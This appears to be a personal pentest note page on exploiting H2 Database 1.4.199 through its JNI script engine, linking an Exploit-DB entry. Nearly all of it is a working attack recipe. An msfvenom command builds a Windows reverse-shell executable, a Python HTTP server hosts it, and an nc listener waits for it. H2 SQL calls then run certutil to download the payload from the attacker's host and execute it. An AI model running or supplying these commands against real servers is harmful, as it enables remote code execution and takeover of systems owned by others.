---
description: Version 1.4.199
---

# H2 Database Engine

H2 Database 1.4.199 - JNI Code Execution

[https://www.exploit-db.com/exploits/49384](https://www.exploit-db.com/exploits/49384)

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FVp6FR8q46IdEW7dOJLtI%2Fimage.png?alt=media&#x26;token=7ce4499f-cb44-4fa6-9025-a66245a7fc00" alt=""><figcaption></figcaption></figure>

Basically, you find a console, add each payload run the commands above.&#x20;

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FElLARZ8kgzTbk8TmmTOQ%2Fimage.png?alt=media&#x26;token=9b010e21-cbf9-4d17-94c1-0ff23877e9d2" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```bash
# Create a shell 
Kali> msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.183 LPORT=8082

Kali> sudo python -m http.server 80

Kali> rlwrap nc -nlvp 8082

# For -- Evaluate script 
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.45.183/shell.exe C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');

```
{% endcode %}
